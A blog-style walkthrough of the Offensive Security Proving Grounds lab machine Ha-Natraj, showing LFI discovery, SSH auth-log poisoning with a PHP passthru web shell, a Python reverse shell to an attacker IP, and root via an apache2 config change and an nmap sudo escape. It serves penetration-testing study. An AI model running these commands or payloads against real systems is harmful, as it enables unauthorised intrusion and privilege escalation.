Offensive Security Proving Grounds (Ha-Natraj)

8 min readMay 31, 2024

Offensive Security offers free lab machines under their Proving Grounds library that I find super helpful to prepare for the OSCP. I will walk you through my experience with what Offsec considers an “easy” level machine called Ha-Natraj. An LFI auth log poisoning exploit leads to a foothold on the machine with privilege escalation via apache2 services run as sudo.

Okay, Offensive Security first of all this was different from what you consider an easy-level box. Although you do learn a bit of a cultural lesson with it in regards to the box name “Natraj” which I will discuss further with my steps and approach for this machine.

Enumeration:

You can use whatever port scanning tool you wish to get the job done but I've learned to stick with my favorite which is autorecon, especially with its convenience for a big exam like the OSCP it covers a vast area of enumeration.

Nmap scan report for 192.168.167.80
Host is up, received user-set (0.091s latency).
Scanned at 2024-05-30 11:41:00 PDT for 21s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:9f:da:f4:2e:67:01:92:d5:da:7f:70:d0:06:b3:92 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+Gv/kpy3r+s15xcQ3TABj4bHKW6cfSBW4Nm8UutdX8W6JJam+7EOpwOpbsItLbkm2nrWEB72D47z5ayx63Hn+e8qGn8Vw9yzZS0z2JSMOWyeYVEYM4G9dPZlUJavoOOe4zrWiiZtj3IbMZy1wnjhaEgne5sC27o+1a73+Lgwz/xik+XtlCEUyxK+RnUa7dEEF9HIy+5B2qptnrUdISLDzXMwUFRlXM7GlA84Y8X0DLs90YNaDCxnvjkp5VOTIWDKtt78U+9ClEgWMkfHGSpiuvGMm1AHCkFPLtNfDoF6pYm2lOI4Lv090Ce/TRqBFCPq1oL6MrpkSpq6tXhEh4wox
|   256 bc:ea:f1:3b:fa:7c:05:0c:92:95:92:e9:e7:d2:07:71 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN7p17tEdnU25MlcknnznQEFmFu3wnoXy7Tam4z8/7sv+l/G3FkLJkfyeRCHMo5Y+z6rGNfB1Zt9jshB8TDkdCg=
|   256 f0:24:5b:7a:3b:d6:b7:94:c4:4b:fe:57:21:f8:00:61 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPugHptbBU0i1SJ0DkVvuyGN9HsQf0GzlPTdJYJqKE+U
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA:Natraj
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X

The results were sweet because I only had two ports to work with and we all know that port 80 is going to be the main focus here and they won't make it so easy to exploit...

The main webpage on port 80 presents us with some rad photos of Natraj. You are probably wondering who is this majestic being. My ADHD brain decided to do a little googling and discovered that Natraj, also known as Nataraja, is a depiction of the Hindu god Shiva as the cosmic dancer. This form represents Shiva’s role as the creator, preserver, and destroyer of the universe, as well as the embodiment of cosmic energy. In this iconic image, Shiva is shown dancing within a ring of flames, symbolizing the cycle of creation and destruction. His dance, called the Tandava, signifies the rhythm of the universe. Natraj is often depicted with multiple arms, each holding symbolic objects, and his right foot raised, symbolizing liberation.

Anyway, my next move was to hack into this deity's machine and see what's up ;).

Looking at feroxbusters results from autorecon I saw a few interesting web directories.

200      GET       40l      139w     1934c http://192.168.167.80/font.css
200      GET      237l     1290w   104515c http://192.168.167.80/images/11.jpg
200      GET      548l     2977w   200184c http://192.168.167.80/images/8.jpg
200      GET      423l     2479w   191173c http://192.168.167.80/images/10.jpg
200      GET      313l     1743w   132396c http://192.168.167.80/images/5.jpg
200      GET      373l     2247w   169020c http://192.168.167.80/images/16.jpg
200      GET     1316l     7789w   600251c http://192.168.167.80/images/14.jpg
200      GET      515l     2806w   207748c http://192.168.167.80/images/21.jpg
200      GET      271l     1636w   144983c http://192.168.167.80/images/19.jpg
200      GET      595l     3138w   237408c http://192.168.167.80/images/13.jpg
200      GET      438l     2319w   172943c http://192.168.167.80/images/20.jpg
200      GET      232l      439w    23358c http://192.168.167.80/style.css
200      GET      844l     4729w   366338c http://192.168.167.80/images/4.jpg
200      GET      410l     2151w   165717c http://192.168.167.80/images/12.jpg
200      GET      329l     1920w   154738c http://192.168.167.80/images/1.jpg
200      GET      574l     2872w   431101c http://192.168.167.80/images/6.jpg
200      GET      219l     1298w   116898c http://192.168.167.80/images/9.jpg
200      GET       91l      419w    37280c http://192.168.167.80/images/17.jpg
200      GET      260l     1751w   385769c http://192.168.167.80/images/3.jpg
200      GET      613l     2912w   172059c http://192.168.167.80/images/7.jpg
200      GET     1309l     7692w   601622c http://192.168.167.80/images/15.jpg
200      GET      341l     1890w   145772c http://192.168.167.80/images/18.jpg
200      GET      591l     3660w   259267c http://192.168.167.80/images/2.jpg
200      GET     1251l     7166w   561602c http://192.168.167.80/images/22.jpg
200      GET      183l     1767w    14497c http://192.168.167.80/
200      GET        0l        0w        0c http://192.168.167.80/console/file.php
200      GET       16l       60w      942c http://192.168.167.80/console/

I start by weening out the results that have “0” for data length and the one that stood out was /console.

I didn't want to jump right away into conclusions but of course, I ended up in a rabbit hole trying to brute-force more subdirectories from the /console endpoint.

Why brain why?

The next move was to see if I could exploit the file.php with LFI. At first, I tried doing it by adding ?cmd= to the end of the file.php endpoint and that did not work.

192.168.224.80/console/file.php?cmd=whoami

The next obvious one was to try is ?file=/etc/passwd to the end of the URL as well and sure enough, I got a hit.

http://192.168.224.80/console/file.php?file=/etc/passwd

I ran some fuzzing with a tool named wfuzz to see what files I had access to on the server with LFI and got a bunch of hits baby.

sudo wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/LFI\ payloads.txt --hw 0 http://192.168.167.80/console/file.php?file=FUZZ

If you have done LFI on many CTFs the common thing to grab is the user SSH Private Key from their home directory which was not successful for me. The next step in LFI is to see if any logs can be poisoned the main ones to look at are auth.log and access.log.

auth.log

Purpose: The auth.log file on Linux systems records authentication-related events.
Contents: It includes information about login attempts, both successful and failed, as well as activities related to authentication mechanisms (e.g., sudo usage).
Location: Commonly found in /var/log/auth.log (on Debian-based systems) or /var/log/secure (on Red Hat-based systems).
Usage: Used by administrators to monitor and investigate authentication issues, detect unauthorized access attempts, and ensure system security.

access.log

Purpose: The access.log file records all requests made to a web server.
Contents: It contains details such as the client’s IP address, request method (GET, POST, etc.), requested URL, HTTP status code, and user agent.
Location: Typically found in /var/log/apache2/access.log for Apache or /var/log/nginx/access.log for Nginx.
Usage: Used by web administrators to analyze traffic, monitor server activity, troubleshoot issues, and enhance security by detecting unusual access patterns.

These logs are crucial for maintaining the security and performance of a Linux system and its services.

Exploitation:

Poising the logs can give you a shell on the system depending on the language used on the backend in this case I saw that PHP was being used by checking out my Wappalyzer browser extension which is a great tool for web engagements.

RCE with LFI and SSH Log Poisoning

I tried accessing the access.log file and had no luck so I moved on to auth.log and was able to view its contents this means we are going to go with SSH log-poisoning techniques.

I chased my tail around for a while to get a working exploit because some of the methods used for this are outdated. I connected to the port using Netcat and injected a PHP command.

sudo nc -nv 192.168.167.80 22
Then type this in NC sesson:
sinner/<?php passthru($_GET['cmd']); ?>

The code snippet <?php passthru($_GET['cmd']); ?> is written in PHP and is performing the following actions:

Receiving Input: It takes a parameter named cmd from the URL query string. For example, if the URL is http://example.com/script.php?cmd=ls, the value of cmd would be ls.
Executing Command: The passthru() function in PHP executes the command passed to it as an argument. In this case, the command is the value of $_GET['cmd'].
Outputting Result: The passthru() function sends the output of the executed command directly to the browser. This means that the result of the command will be displayed as part of the web page.

Now going back to the vulnerable URL endpoint we can see the injection showing in the logs and test it by passing the cmd parameter in the URL.

 http://192.168.167.80/console/file.php?file=/var/log/auth.log&cmd=id

Since I was able to verify my PHP injection worked I aimed to get a reverse shell using Python. I first made sure I set a netcat listener on my attacker machine and ran the following:

 curl http://192.168.167.80/console/file.php?file=/var/log/auth.log&cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.45.204%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27

Post-Exploitation:

Got my user flag and worked my way to getting root access. The first thing I always do is run Sudo -l. In this case, I saw that services for Apache2 can be started, stopped, and restarted.

I tried looking for GTFObins for this and had no luck so I checked to see if the apache2 conf file can be written to and sure enough the permissions were golden.

The machine had a crappy shell so I sent the file over to my attack machine and did some edits in the conf file to add the user and group mahakal to the file since user Nataraj was not in the sudo group.

On kali:
 sudo nc -l -p 1234 > apache2.conf

 On target:
 nc 192.168.45.204 1234 < apache2.conf

I saved the file and had to push it onto the target machines /tmp directory and copied it over to /etc/apache2 directory.

 cp apache.conf /etc/apache2/apache2.conf

The next step was to obtain a PHP rev shell on the machine that we could call with the systemctl command by restarting apache2.

Here are my steps:

1. Upload the php rev shell into /tmp and move it to the target machines web directory:

cp php-reverse-shell.php /var/www/html

2. Set a netcat listener on Kali to grab it when restarting apache2:

nc -lvp 443

3. Now on the target machine run this:

sudo /bin/systemctl restart apache2

4. Now in Kali we need to curl the shell to execute it:

curl http://192.168.167.80/php-reverse-shell.php

The shell was obtained as the user I specified in the apache2 conf file mahakal.

I ran sudo -l once again and was able to get the root flag by doing a GTFObins on the nmap command that can be executed as root.

GTFOBins

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured…

gtfobins.github.io

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo /usr/bin/nmap --script=$TF

I learned a lot from this machine and look forward to applying this knowledge to the next CTF machines I take on.

Thank you for reading :)